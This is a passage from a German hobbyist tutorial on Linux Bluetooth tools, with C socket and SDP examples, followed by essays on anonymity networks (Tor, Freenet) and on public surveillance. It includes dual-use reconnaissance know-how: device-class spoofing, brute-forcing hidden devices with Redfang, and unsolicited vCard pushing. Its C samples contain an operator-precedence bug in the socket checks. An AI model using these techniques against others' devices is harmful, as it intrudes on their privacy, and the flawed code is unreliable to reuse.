Interessant ist noch, dass man mit hciconfig oder über die Config Datei /etc/bluetooth/hcid.conf die Device Class setzen kann. Eine Liste der Major und Minor Device Classes findet man auf Bluetooth.org.

Die Major und Minor Device Classes sind auf Bluetooth.org in Binär angegeben, hciconfig erwartet sie allerdings als Hex, deswegen hier ein kleines Rechenbeispiel:

  • Major Computer + Minor Laptop: 00001 000011 00 = 0x0001 0c
  • Major Phone + Minor Cellular: 00010 000001 00 = 0x0002 04

Wer zu faul zum umrechnen ist, der findet in khciconfig alle Major und Minor Device Classes zum zusammen klicken. ;)

Also um seinen Bluetooth USB Stick z.B. in ein Mobiltelefon zu "verwandeln", führt man folgenden Befehl aus:

hciconfig hci0 class 0x000204

Als erstes will man wahrscheinlich nach verfügbaren Bluetooth Geräten in seiner Umgebung suchen.

hcitool scan

Wenn man ein Bluetooth Gerät gefunden hat, kann man meistens bequem über SDP die verfügbaren Dienste auslesen. Ich sage meistens, weil Headphones oder andere Geräte, die nur einen Dienst anbieten, haben keinen SDP Daemon implementiert.

sdptool browse <btaddr>

Hier ein Auszug (ein Dienst / Profil) aus einem SDP Scan eines handelsüblichen Mobiltelefons:

Service Name: Dial-up networking
Service RecHandle: 0x11103
Service Class ID List:
  "Dialup Networking" (0x1103)
  "Generic Networking" (0x1201)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 1
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "Dialup Networking" (0x1103)
    Version: 0x0100

Dieses Profil zeigt ein Dial-up Network sprich ein Modem. Das wichtigste in dieser Liste sind neben dem Service Namen der Hinweis auf die zu verwendenden Protokolle (L2CAP und RFCOMM), sowie der Channel 1.

Schön und gut, dann werden wir uns jetzt mal zu diesem Modem verbinden und mal schauen was wir damit so anstellen können! :)

rfcomm bind 0 <btaddr> 0

Der erste Parameter bind sorgt dafür, dass der Bluetooth Socket nur an die entsprechende Adresse gebunden wird, aber keine Verbindung initiiert wird. Der zweite Parameter 0 ist die Nummer des RFCOMM Devices in diesem Falls also /dev/rfcomm0, dann folgt die Bluetooth Geräte Adresse und last but not least der Channel zu dem wir uns verbinden wollen.

Je nachdem ob Du unter der Console oder unter X unterwegs bist, wird die PIN Eingabe anders geregelt. Unter der Console wird die Datei /etc/bluetooth/pin ausgelesen, unter X solltest Du nen hübsches Fenster bekommen, das Dich zur PIN-Eingabe auffordert. Auf dem entfernten Gerät wirst Du ebenfalls zu einer Eingabe genötigt. Die beiden PINs müssen übereinstimmen!

Wenn Du alles richtig gemacht hast, kannst Du jetzt entweder via Minicom oder auch direkt per echo ATZ > /dev/rfcomm0 AT Befehle an das entfernte Modem senden und es behandeln als wäre es lokal.

Dateiaustausch findet über das OBEX (Object Exchange) Protokoll statt, welches auch schon für Irda (Infrarot) verwendet wird.

Um von der Console Dateien zu pushen, nimmt man am besten ussp-push. Das Archiv entpackt man in das Verzeichnis openobex-app/src, welches man sich von openobex.sourceforge.net downloaded und compiled es mit folgendendermaßen:

gcc -o obexserver obexserver.c libmisc.a -lopenobex cd ussp-push make ; make install

Dann nimmt man per RFCOMM mit dem entfernten OBEX Push Dienst Verbindung auf.

rfcomm bind 0 <btaddr> 4

Und sendet die Datei.

ussp-push /dev/rfcomm0

Zum synchonisieren zwischen einem Handy und einem Laptop / PDA verwende ich Multisync, da es nicht nur ein Backup des Mobiltelefons wahlweise via Kabel, Infrarot oder Bluetooth unterstützt, sondern auch meinen Lieblingsgroupwareclient Ximian Evolution bedienen kann und ich damit alle wichtigen Klamotten wie Kalendar, Telefonbuch, Aufgaben und Notizen auf dem neuesten Stand halten kann.

Ansonsten sollte man sich auf jeden Fall noch obexftp und die Bluetooth Tools vom GNOME sowie vom KDE Projekt anschaun. Damit kann man weitaus bequemer und grafisch Dateien austauschen wahlweise via Nautilus (GNOME) oder FTP-like kbtobexclient (KDE). Für Debian gibt es fertige DEB Pakete. Dazu fügt man einfach nur die folgenden Server in seine /etc/apt/sources.list ein:

  • deb http://debian.usefulinc.com/gnome ./
  • deb-src http://debian.usefulinc.com/gnome ./
  • deb http://www.stud.uni-karlsruhe.de/~uddw/debian ./

Und installiert die gewünschten Tools:

apt-get update apt-get install gnome-bluetooth apt-get install kdebluetooth

Vielleicht möchte man auch eine Datei von einem Handy oder sonst einem Bluetooth Gerät an den eigenen Rechner schicken und das ohne Hilfe dieser grafischen Tools? Nichts einfacher als das! Zuerst startet man netterweise einen SDP Daemon.

sdpd

Und teilt ihm mit, dass wir OBEX Push anbieten

sdptool --add --channel 10 OPUSH

Als letztes startet man den obexftp server und findet anschliessend hoch geladene Dateien im Verzeichnis /tmp.

obexftpserver

Jetzt basteln wir mit zwei Bluetooth Sticks mal ein kleines Netzwerk und verwenden es, um einen Gateway (wahlweise auch mit DHCP und was weiss ich) aufzubauen.

Auf dem Gateway startet man

pand --listen --persist --encrypt --role NAP

Auf dem Client

pand --connect <remote_btaddr>

Jetzt stehen auf beiden Rechner bnep0 Netzwerk Interfaces zur Verfügung, die man mit ifconfig upped und mit IP Adressen versieht.

ifconfig bnep0 <ipaddr> up

Abschließend aktiviert man auf dem Gateway noch Masquerading.

iptables -A POSTROUTING -t nat -o bnep0 -j MASQUERADE

Und trägt auf dem Client diese Kiste als Standardroute ein.

route add default gw <gateway_ipaddr>

Blue-CMD - Führe ein beliebiges Kommando aus, wenn sich ein Bluetooth Device im bzw. ausserhalb des Empfangsbereichs befindet. Ideal zum automatischen (ent)locken des Laptop, wenn man sich mit seinem Bluetooth Handy durch die Kneipe bewegt ;)

Blue-Scanner - Ein kleines Script, das ich auf dem 20C3 geschrieben habe. Es scannt nach Bluetooth Devices, liest die vorhandenen Profile via SDP aus und versucht mit OBEX Push eine Vcard hoch zu laden.

Redfang - Bruteforce Bluetooth Adressen. Ermöglicht es Geräte zu finden, die nicht sichtbar sind.

Bluesniff - Ein Ncurses basierter Bluetooth Sniffer.

Btscanner - Ein Ncurses basierter Bluetooth Scanner.

Alle Source Codes benötigen die Bluez Header Dateien und Libraries und werden wie folgt compiled:

gcc -lbluetooth -o <executable> <source>

Ein Beispiel für einen RFCOMM Client

#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <bluetooth/hci.h>

#define BTADDR "aa:bb:cc:aa:bb:cc"
#define CHANNEL 4

int main(void)
{
  int sock;
  struct sockaddr_rc laddr, raddr;
  struct hci_dev_info di;

  if(hci_devinfo(0, &di) < 0) 
    {
      perror("HCI device info failed");
      exit(1);
    }

  laddr.rc_family = AF_BLUETOOTH;
  laddr.rc_bdaddr = di.bdaddr;
  laddr.rc_channel = 0;

  raddr.rc_family = AF_BLUETOOTH;
  str2ba(BTADDR,&raddr.rc_bdaddr);
  raddr.rc_channel = htobs(CHANNEL);

  if(sock = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM) < 0)
    {
      perror("socket");
      exit(1);
    }

  if(bind(sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0)
    {
      perror("bind");
      exit(1);
    }

  if(connect(sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0)
    {
      perror("connect");
      exit(1);
    }

  printf("Connected.\n");
  close(sock);
  return 0;
}

Ein Beispiel für einen RFCOMM Server

#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>

#define CHANNEL 4
#define QUEUE 10

int main(void)
{
  int sock, client, alen;
  struct sockaddr_rc addr;

  if(sock = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM) < 0)
    {
      perror("socket");
      exit(1);
    }

  addr.rc_family = AF_BLUETOOTH;
  bacpy(&addr.rc_bdaddr, BDADDR_ANY);
  addr.rc_channel = htobs(CHANNEL);
  alen = sizeof(addr);

  if(bind(sock, (struct sockaddr *)&addr, alen) < 0)
    {
      perror("bind");
      exit(1);
    }

  listen(sock,QUEUE);
  printf("Waiting for connections...\n\n");

  while(client = accept(sock, (struct sockaddr *)&addr, &alen))
    {
      printf("Got a connection attempt!\n");
      close(client);
    }

  close(sock);
  return 0;
}

HCI Inquiry Scan

#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>

int main(void)
{
  inquiry_info *info = NULL;
  bdaddr_t bdaddr;
  char name[248];
  int dev_id = 0;
  int num_rsp = 10;
  int flags = 0;
  int length = 8;
  int dd, i;

  printf("Scanning ...\n");

  num_rsp = hci_inquiry(dev_id, length, num_rsp, NULL, &info, flags);
  if(num_rsp < 0)
    {
      perror("Inquiry failed.");
      exit(1);
    }

  if((dd = hci_open_dev(dev_id)) < 0)
    {
      perror("HCI device open failed");
      free(info);
      exit(1);
    }

  for(i = 0; i < num_rsp; i++)
    {
      memset(name, 0, sizeof(name));

      if(hci_read_remote_name(dd, &(info+i)->bdaddr, sizeof(name), name, 100000) < 0)
	{
	  strcpy(name, "n/a");
	}

      baswap(&bdaddr, &(info+i)->bdaddr);
      printf("\t%s\t%s\n", batostr(&bdaddr), name);
  }

  close(dd);
  free(info);
  return 0;
}

Beispiel Code zum auslesen der Dienste eines SDP Servers

gcc -lbluetooth -lsdp -o <executable> <source>

#include <bluetooth/sdp.h>
#include <bluetooth/sdp_lib.h>

int main(int argc, char *argv[])
{
  bdaddr_t bdaddr;
  sdp_list_t *attrid, *search, *seq;
  uint32_t range = 0x0000ffff;
  sdp_session_t *sess;
  struct hci_dev_info di;
  uuid_t root_uuid;

  if(argc < 2)
    {
      printf("%s <btaddr>\n", argv[0]);
      exit(0);
    }

  if(hci_devinfo(0, &di) < 0)
    {
      perror("HCI device info failed");
      exit(1);
    }

  str2ba(argv[1],&bdaddr);

  sess = sdp_connect(&di.bdaddr, &bdaddr, SDP_RETRY_IF_BUSY);

  if(!sess)
    {
      perror("Failed to connect to SDP server");
      exit(1);
    }

  printf("Browsing %s ...\n", argv[1]);

  sdp_uuid16_create(&root_uuid, PUBLIC_BROWSE_GROUP);
  attrid = sdp_list_append(0, &range);
  search = sdp_list_append(0, &root_uuid);

  if(sdp_service_search_attr_req(sess, search, SDP_ATTR_REQ_RANGE, attrid, &seq) < 0)
    {
      perror("SDP service search");
      sdp_close(sess);
      exit(1);
    }

  sdp_list_free(attrid, 0);
  sdp_list_free(search, 0);

  for(; seq; seq = seq->next)
    {
      sdp_record_t *rec = (sdp_record_t *) seq->data;
      sdp_list_t *access = NULL;
      int channel;

      sdp_record_print(rec);
      sdp_get_access_protos(rec, &access);

      if(access)
	{
	  channel = sdp_get_proto_port(access, RFCOMM_UUID);
	  printf("Channel: %d\n", channel);
	}
    }

    free(seq);
    sdp_close(sess);
    return 0;
}

Bluetooth.org - Die Bluetooth Spezifikation.

Holtmann.org - Jede Menge Artikel rund ums Thema Bluetooth.

Palowireless Bluetooth - Bluetooth Resource Center.

Irda.org - Hier gibt's die Spezifikation zu OBEX.

BlueZ - Der offizielle Linux Bluetooth Stack.

Affix - Ein alternativer Bluetooth Stack für Linux.

Bluetooth Security Bluetooth unter FreeBSD GNOME Bluetooth Subsystem KDE Bluetooth Framework

Anonyme Netzwerke

(balle)

Ich hab mich mal ein wenig mit anonymen Netzwerken beschäftigt, also mit Netzwerken, bei denen man nicht nachvollziehen kann wer wann welchen Content ins Netz gestellt bzw. abgerufen hat und dessen Content auch nicht zensiert werden kann, da jeder Knoten (Node) im Netz sowohl Client als auch Server, Proxy Cache und Router darstellt und der Content in viele Einzelteile zerstückelt, verschlüsselt und redundant im Netz verfügbar ist.

Da jeder Rechner zugleich Client, Server, Proxy Cache als auch Router ist, muss er dem Netzwerk Ressourcen in Form von Festplattenspeicher sowie Bandbreite zur Verfügung stellen, kann diese aber je nach Bedarf und Angebot begrenzen und bekommt dafür Anonymität.

Mit Verschlüsselungsprogrammen bzw. -verfahren wie PGP oder GnuPG und SSL und wie sie alle heissen, kann man zwar den Inhalt seiner Kommunikation wirksam gegen Neugierige schützen, aber ein Angreifer weiß immer noch wer wann mit wem kommuniziert.

Desweiteren gibt es leider Bestrebung das Internet zu zensieren und das sogar in Deutschland initiiert von der Bezirksregierung Düsseldorf, die laut eigenen Aussagen im Auftrag des Jugendschutzes handelt.

Natürlich bietet ein anonymes Netzwerk Mißbrauchpotentzial und eignet sich in den Aussagen seiner Kritiker nur allzu hervorragend um Kinderpornograpie, Nazi- sowie Terrorismus- und sonstiges Propaganda oder was weiss ich für eine Gesellschaft schädliches Material zu verbreiten, aber jedes Kommunikationsmedium bietet sich dazu an! Und Kontrolle allein bietet nicht nur Sicherheit! Vor allem nicht, wenn man die Kontrolleure nicht kontrollieren kann! Aber das ist ein Thema für sich.

Die typischen Verdächtigen für diese Art von Peer-to-Peer Netzwerken sind:

Alle Netzwerke haben gemein, dass sie noch nicht reibungslos funktionieren, sei es in Form von angebotenen Diensten oder in Sachen Performance. Aber sie bieten ein enormes Potenzial und wachsen mit jedem zusätzlichen Teilnehmer!

GNUnet bietet momentan nur eine Suchmöglichkeit nach Dateien und keine eigenen Seiten oder Dienste, es ist ausschließlich ein File Sharing Netzwerk für Linux, FreeBSD, OpenBSD, NetBSD oder Solaris.

Freenet ist der Vorreiter in Sachen anonyme Netzwerke und komplett in Java programmiert und somit für jegliche Betriebsysteme und für jede Kaffeemaschine (whatever) verfügbar, für die es eine Java Runtime Environment gibt. Es bietet neben Filesharing auch Dienste wie WWW, Usenet, Foren und Mail an.

Entropy ist quasi ein Clone des Freenet Netzwerks. Die Handhabung, Konfiguration, sowie die Dienste sind dieselben wie bei Freenet, aber es ist komplett in C geschrieben und für Linux, *BSD und Windows verfügbar und (fast?) komplett zu Freenet kompatibel.

Nach ausgiebigen Test habe ich mich eindeutig für Entropy entschieden, weil GNUnet von alleine nicht ausreichend andere Nodes zur Kommunikation gefunden hat und auch nicht genügend Dienste zur Verfügung stellt.

Bei Freenet hab ich irgendwie immer nur die Meldung bekommen "Network is busy. Please try again later.". Auch war der Traffic in diesem Netz im Vergleich zu Entropy gering.

Entropy funktioniert dagegen! Es ist zwar arschlahm, aber das liegt daran, dass das Netz noch nicht sehr gross ist und die Bandbreite anscheinend fast ausschließlich von privaten Anbietern gestellt wird. Dennoch findet man interessante Sachen im Entropy Netzwerk. Es lohnt sich auf jeden Fall dieses Netzwerk mal zu testen, wenn man etwas Geduld und womöglich auch Ressoucen mitbringt!

Nicht ganz in dieses Schema passt JAP. Das ist ein anonymer HTTP Proxy, der technischen Universität Dresdens, der auch schon mal im Chaosradio Folge 85 vorgestellt wurde. JAP dient ausschliesslich dazu den WWW Verkehr zu anonymisieren, im Gegensatz zu Entropy, Freenet und GNUnet, die nicht bloß einen Dienst, sondern ganze Netze an Diensten anonymisieren.

[Nachtrag 26.06.05] Mittlerweile sollte man sich auf jeden Fall auch noch Tor und I2P anschauen. Der CCC bietet sowohl einen JAP als auch einen TOR Dienst an. Näheres dazu hier.

TOR ist ein Netzwerk aus "onion routers", das selbe Prinzip wie bei JAP (ein Datenpaket wird verschlüsselt zufällig durch eine Reihe von Proxies gerouted, die alle nur den vorangegangenen und den nächsten Knoten kennen), nur dass es nicht nur HTTP anonymisiert, sondern in Form eines SOCKS Proxy jeglichen Netzwerk Traffic anonymisieren kann.

tor

Alles was man dazu sonst noch braucht, ist socat und privoxy. Debian Users tippen einfach: apt-get install tor socat privoxy Dann editierst Du die Privoxy Configdatei /etc/privoxy/config und fügst folgende Zeile (mit dem .) hinzu:

forward-socks4a / localhost:9050 .

Jetzt noch schnell die Dienste starten mit /etc/init.d/tor start && /etc/init.d/privoxy start und TOR als Proxy in Deinem Browser einstellen (localhost:8118). Jabber über TOR funktioniert wunderbar. Solltest Du Clients verwenden wollen, die kein SOCKS verstehen, kein Problem schalte socat dazwischen hier z.B. für IMAPS:

socat TCP4-LISTEN:993,fork SOCKS4A:localhost:mailserver.net:993,socksport=9050 &

Nun erreichst Du Deinen mailserver.net über localhost:993.

Remember that this is development code -- it's not a good idea to rely on the current Tor network if you really need strong anonymity.

Aber für den Anfang funktioniert es schon mal sehr gut :)

Viel Spass beim Erkunden dieser Netzwerke und beim Wahrnehmen Deiner Rechte auf informationelle Selbstbestimmung! ;)

Gegen Zensur und Überwachung! Für eine freie Gesellschaft!

Überwachung des öffentlichen Raums

(balle)

Dieser Text diskutiert negative Aspekte der Überwachung des öffentlichen Raums und behandelt unter anderem Videoüberwachung auf öffentlichen Plätzen, in Bussen oder in Schwebebahnstationen, die Maut, kontaktlose Smartkarten, RFID und Payback.

Hier ein paar Argumente gegen die häufigsten Aussagen von Überwachungsbefürwortern:

"Ich hab nichts zu verbergen!"

  1. Diese Aussage dreht unser Rechtssystem um, denn solange man keine kriminelle Handlung begangen hat bzw. verdächtigt wird eine zu begehen, hat der Staat einen in Ruhe zu lassen. Dafür wurde ein Grundgesetz geschaffen, in dem unter anderem folgende Formulierungen zu finden sind:

Artikel 2 Absatz 1: *"Jeder hat das Recht auf die freie Entfaltung seiner Persönlichkeit, soweit er nicht die Rechte anderer verletzt und nicht gegen die verfassungsmäßige Ordnung oder das Sittengesetz verstößt."

Artikel 2 Absatz 2: "Jeder hat das Recht auf Leben und körperliche Unversehrtheit. Die Feiheit der Person ist unverletzlich. In diese Rechte darf nur auf Grund eines Gesetzes eingegriffen werden."

  1. Möchtest Du in einem totalen Überwachungsstaat leben?

  2. Du bestimmst gar nicht, ob Du was zu verbergen hast. Das liegt im Auge des Überwachers, ob er Dir unterstellt Du hättest etwas zu verbergen bzw. Du würdest Aktionen ausführen, die ihm nicht passen.

  3. Gläserne Bürger können leichter manipuliert und kontrolliert werden. Bei der momentan niedrigen Wahlbeteiligung, der aktuellen Politik und der wirtschaftlichen Flaute sollte man dieses Argument nicht unterschätzen.

"Das kann sich ja eh keiner alles ankucken. Mir doch egal."

  1. Dann kann man es auch gleich unterlassen.

  2. Du vergisst die Technik. Die Bilderflut wird nicht von Menschen manuell ausgewertet, sondern automatisch von Computern und Software z.B. zur Nummernschilderkennung, Gesichtserkennung, Bewegungserkennung oder Anomaliedetection (siehe Begriffserläuterungen).

  3. Deine Freiheit sollte dir nicht egal sein! Unter keinen Umständen!

"Videokameras schützen gegen Randalierer / Kriminelle / Terroristen."

  1. Mütze und Schal oder eine Sturmmaske schützt vor dem Auge der Kamera.

  2. Es gibt trotz Videoüberwachung Banküberfälle genau wie Randalismus.

  3. Die weitaus meisten Täter werden auch durch Videoüberwachung nicht identifiziert.

  4. Die Tat wird nicht verhindert. Somit entstehen unter Umständen doppelte Kosten einmal durch den verursachten Schaden und für die Installation und den Betrieb der Videoüberwachung.

  5. Das Problem des Randalismus kann viel einfacher durch Zivil Courage bekämpft werden.

  6. Die Verantwortung wird stattdessen an die Kamera delegiert.

  7. Kamerainstallationen für einen Bus kosten ca 12000 Euro.

  8. Es verdrängt das Problem der Sachbeschädigung nur anstatt es zu lösen.

  9. Je nach Ort des Verbrechens (z.B. im Bus) hat der Kriminelle physischen Zugriff auf den Datenträger, auf dem die Videodaten gespeichert sind und kann ihn somit entfernen, beschädigen oder sonst wie manipulieren.

Videoüberwachung verändert das Verhalten der Menschen.

Und ich möchte lieber nicht über Folgen für die nachkommende Generation grübeln, die mit dem Wissen aufwachsen, dass sie immer und jederzeit überwacht werden (können).

Wieso regt sich fast niemand mehr über diese massive Überwachung auf? Wieso hat sich die Gesellschaft seid den 70er / 80er Jahren so massiv gewandelt?

Die Gründe sind wohl in der langsamen Gewöhnung in Form von Big Brother Shows (Opium für's Volk?), Handy- und Digitalkameras sowie Webcams u.ä. und in dem Desinteresse der Bevölkerung zu suchen. Fast niemand denkt über die Folgen der Überwachung nach und akzeptiert einfach blind die Aussagen der Betreiber anstatt sich kritisch mit ihnen auseinander zu setzen.

Hier eine Übersicht auf welchen Gebieten mittlerweile überwacht wird:

  • Post
  • Bank
  • Kaufhaus
  • Tankstelle
  • Regierungsgebäude
  • Bus
  • Bahn
  • Taxi
  • Haltestelle
  • Öffentliche Plätze
  • Tunnel
  • Autobahn
  • Universitäten
  • Schulen
  • Arbeitsplatz
  • Telefonbasisstationen

Wie man unschwer erkennen kann sind neben den "normalen" videoüberwachten Gebieten wie Post, Bank, Kaufhaus, Tankstelle und Regierungsgebäude, in den letzten 3 Jahren 200% dazu gekommen! Und (fast) niemand fragt nach dem Sinn oder stört sich daran.

Die Videodaten in den Bussen werden lokal im Bus auf einer Laptopfestplatte gespeichert und nur bei Erkennung einer Straftat ausgewertet, ansonsten werden sie am nächsten Tag überschrieben. Was jedoch theoretisch Strafverfolgungsbehörden nicht davon abhalten muss sich jeden Abend eine Kopie zu ziehen. Wenn die Daten einmal angefallen und digitalisiert sind, kann man sie leicht weiter verwenden.

Die Kameras an den Schwebebahnstationen laufen nach Aussage der Schwebebahnleitstelle mittlerweile immer solange die Schwebebahn in Betrieb ist und die Bilddaten werden entweder über alte Kupfer- oder neue Glasfaserkabel an die Schwebebahnleitstelle übertragen. Diese kann sich nach eigenen Aussagen momentan aber nur bei Bedarf in eine bestimmte Station schalten und die Videos werden auch nicht gespeichert. Die Videokameras, die zusätzlich die Aufgänge am Schwebebahnhof Döppersberg überwachen stellen sich als billige Attrappen heraus. Das System befände sich noch im Aufbau, diese Attrappen sollen in Zukunft durch echte Videokameras ersetzt werden und der Abschreckung dienen. Es ist ebenfalls geplant alle Stationen komplett zu überwachen, also zusätzliche Kameras in den Eingangs- und Aufenthaltsbereichen zu installieren, alle Stationen gleichzeitig zu überwachen und die Videodaten zur weiteren Recherche zu speichern.

Desweiteren geht das Gerücht um, dass die Telekom in die Telefonbasisstationen (diese Telefonstangen) an markanten Plätzen oben eine Videokamera installiert hat. Eigene Nachforschungen am Alten Markt in Wuppertal ergaben, dass es dort zwar ein "Kuckloch" und etwas Platz aber keine Kamera gibt. Rein theoretisch würde sich dieser Platzhalter aber ideal zur Aufnahme einer Videokamera eignen zumal dort auch eine Platine sichtbar war.

Zum Abschluss noch eine kleine Statistik und Informationen zur Videoüberwachung in England. In England kommt 1 Kamera auf 14 Bürger, denn 20% aller Kameras auf der Welt sind dort im Einsatz und kontrollieren z.B. die Innenstadt und das U-Bahn System mit Computern und Software zur Gesichts-, Nummernschild- und Anomalieerkennung. D.h. ein mit Foto bekannter Verbrecher oder jemand, der so ähnlich aussieht, sollte nicht durch Londons Innenstadt laufen, denn sonst könnte es ihm passieren, dass er spontan verhaftet wird. Beim Verwenden der U-Bahn sollte man sich zwei Mal überlegen, ob man seinen Schuh gerade auf dem Bahnsteig zuknüpft und dabei einen Koffer auf den Bahnsteig stellt, weil es könnte ja sein, dass das hinter den Videokameras laufende Computersystem dieses Verhalten als unnormal wertet und das Wachpersonal alamiert.

Möchtest Du in solch einer Welt leben? Ich nicht!

Eine interessante Diskussion zum Thema Videoüberwachung findet man in der 88. Chaosradio Folge.

Jeder kennt aus den Medien die LKW Maut und das Betreiberkonsortium Toll Collect. Doch fast niemand weiss, dass das installierte System nicht ausschließlich zur Erhebung einer LKW Maut, sondern auch zur Überwachung der Autobahnen dienen soll. Vielleicht hat sich ja schon mal jemand die Frage gestellt warum Verkehrsminister Stolpe so an dem Vertrag mit Toll Collect fest hielt, obwohl sie immer wieder auf neue technische Schwierigkeiten stossen und es ein funktionierendes holländisches Projekt gibt. Die Antwort ist eigentlich ganz einfach. Das System soll ebenfalls jeden passierenden PKW und sein Kennzeichen erfassen, denn alle Mautbrücken sind mit Kameras, einem Computer und etwas Software ausgestattet, die dafür sorgt, dass jedes passierende Nummernschild gescannt und gespeichert wird. Diese Eigenschaft des Systems funktioniert seid ca Oktober 2003, denn dort beanspruchte das Amtsgericht Gummersbach Videodaten für eine laufende Ermittlung. Der CCC hat schon im November 2003 das Bundesverkehrsministerium aufgefordert den Vertrag mit Toll Collect zu kündigen und das Datensammeln auf deutschen Autobahnen einzustellen. Jetzt nachdem Herr Stolpe am 17.02.2004 den Vertrag mit Toll Collect gekündigt hat, fordern Datenschützer und unter anderem auch der CCC, dass die Mautbrücken sofort demontiert werden.

Kontaktlose Smartkarten sind die neueste Erfindung der Chipkartenindustrie. Smartkarten sind smart, weil sie in der Lage sind eigenständig Rechenoperationen durchzuführen und sie sind kontaktlos, weil sie Daten per Funk übertragen können. Optisch unterscheidet sich eine kontaktlose Smartkarte kaum von einer normalen Chipkarte, nur wer genau hinschaut und weiß worauf er achten muss, erkennt den Unterschied. Wenn man eine kontaktlose Smartkarte vor eine starke Lichtquelle wie z.B. eine Taschenlampe hält, sieht man Leiterbahnen, die die gesamte Karte durchziehen, dies ist die sogenannte Induktionsschleife, die es der Karte ermöglicht zu funken.

Wenn man sein neues WSW / VRR Ticket mal unter die Lupe nimmt, wird man merken, dass es sich dabei um solch eine kontaktlose Smartkarte handelt. Eigene Nachforschungen haben ergeben, dass die Smartkarten Funktionalität momentan nicht genutzt wird und ursprünglich dazu gedacht war Payback Aktionen zu realisieren.

Gerüchte, dass RFID Chips in Fahrkarten verbaut wurden bzw. werden kann ich nicht bestätigen, zumal solch eine kontaktlose Smartkarte mehr zu bieten hat, als ein RFID Chip!

Nach Aussagen des VRRs wird auch die kontaktlose Eigenschaft der Karte nicht verwendet, weil sich bei Versuchen technische Probleme ergaben.

Auf meine Frage ob geplant sei Fahrgäste mit Sendern im Eingangsbereich der Busse zu erfassen und deren Fahrten in einer zentralen Datenbank zu speichern, wie es das Berliner Verkehrsunternehmen BVG schon getestet hat (siehe Datenschleuder Artikel tick.et: "wir wissen, wo sie sind."), wurde mir gesagt, dass dies nicht geplant sei, da die Technik noch nicht ausgereift sei. Man hätte noch Probleme mit Fahrgästen, die nur kurz in den Bus einsteigen und ihn sofort wieder verlassen, um beispielsweise einer Mutter den Kinderwagen hinein zu heben und vorbeilaufende Passanten werden ebenfalls noch von diesen Sendern erfasst. Insofern sei in naher Zukunft nicht geplant solch ein System einzuführen und man bestäigte mir auch, dass es nicht mit dem Datenschutzgesetz zuvereinbaren sei Fahrgastdaten für einen längeren Zeitpunkt als die aktuelle Fahrt zu speichern. Ich bin mir allerdings noch nicht einmal sicher, ob es mit dem Datenschutzgesetz vereinbar ist die Daten für die aktuelle Fahrt zu erfassen.

Als letztes möchte ich hier kurz das SCOFI Projekt vorstellen. SCOFI steht für Smart Card Online für das Filtern des Internets und soll eine Smartkarte an Schulen einführen, um den schuleigenen Internetzugang zentral zu filtern. Momentan soll diese Smartkarte offiziell nur für die Authentifikation und das Filtern verwendet werden. Allerdings bietet eine Smartkarte schier unerschöpflichen Mehrwert und kann z.B. auch zum Bezahlen oder Sammeln von Daten bis hin zur Überwachung des Schülers benutzt werden. Man kann z.B. Sender an den Eingangsbereichen der Schule positionieren und per Funk Schüler registrieren, die das Schulgelände entweder betreten oder verlassen.

Diese Informationen könnten zur Identifikation von Schulschwänzern verwendet werden.

Als Schutzmaßnahme kann man wahlweise die Karte komplett in Alufolie einpacken oder die Induktionsschleife zerstören, indem man ein Stück des rechten Rands abbricht.

Es lohnt sich auch ein Blick in den Datenschleuder Artikel Willkommen in der kontaktlosen neuen Welt!

Eine RFID ist einfach eine ID, die funkt also so ähnlich wie die kontaktlose Smartkarte halt nur ohne die Möglichkeit eigene Rechenoperationen auszuführen. Dafür kann man sie auch durch Chemikalien realisieren und somit unter anderem in Papier drucken. Es ist auch geplant RFIDs in den Personalausweis oder in die Geldscheine zu drucken und alle käuflichen Waren damit zu versehen. Es gibt RFID schon im Reisepass und in den Tickets für die Fussballweltmeisterschaft 2006. Die Metro Group testet RFIDs gerade in Payback Karten und auf den Waren. Wal Mart arbeitet ebenfalls an der Einführung der RFID Technik. Der Rasierklingen Hersteller Gilette nutzt schon RFID Tags auf seinen Produktverpackungen. Unternehmen setzen diese Technik momentan zur einfacheren Lagerkontrolle ein und nicht primär zur Kundenüberwachung. Das ist allerdings ein " nettes Nebenprodukt", das man mit vermarkten kann und nicht unterschätzen sollte. So können Unternehmen z.B. kassenlose Bezahlungen einführen oder aber ihre Kunden tracken, indem sie ihren Weg und Aufenthaltsort bzw. -zeitraum im Laden verfolgen können. Dann kann nicht nur nachvollzogen werden wer was wo gekauft hat, sondern auch da steht z.B. ne Coladose in der Landschaft und man kann nachvollziehen, wer die dort hingestellt hat oder man kann im vorbei laufen kucken wer der Typ vor einem ist und wieviel Geld er auf Tasche hat, ebenso kann man dann natürlich den Lauf des Geldes zurück verfolgen. RFID soll vor Terroristen schützen, jedoch gibt es Terroristen z.B. auch die Möglichkeit in die Hand intelligente Bomben zu bauen, die nur in die Luft gehen, wenn eine bestimmte RFID also eine bestimmte Person vorbei kommt!

Zum Glück gibt es wie bei den kontaktlosen Smartkarten als Schutzmaßnahme die Mögichkeit den RFID getaggten Gegenstand in Alufolie einzupacken. Sobald RFID aber in den eigenen Anziehsachen steckt, macht diese Methode nicht mehr sehr viel Sinn. Wer will sich schon komplett in Alufolie einkleiden? Auf der RSA Conference 2004 wurde dafür ein RFID Störsender vorgestellt.

Wer sich für das Thema RFID interessiert, der sollte sich auch mal den 20C3 Vortrag zu RFID anschauen.

Ich denke jeder kennt diese Punktesammelsysteme wie sie vor ca 2 Jahren auf einmal überall wie Pilze aus dem Boden geschossen sind: Happy Digits, Bahn Punkte, Payback um nur ein paar Beispiele zu nennen.

Diese Punktesammelsysteme erfreuen sich großer Beliebtheit in der Bevölkerung und verdienen somit ebenfalls eine genauere Untersuchung. Warum sind sie auf einmal so zahlreich ins Leben gerufen worden? Und warum steht auf der Liste der teilnehmenden Unternehmen bei jedem Paybacksystem ein und das selbe Datenauswertungsunternehmen?

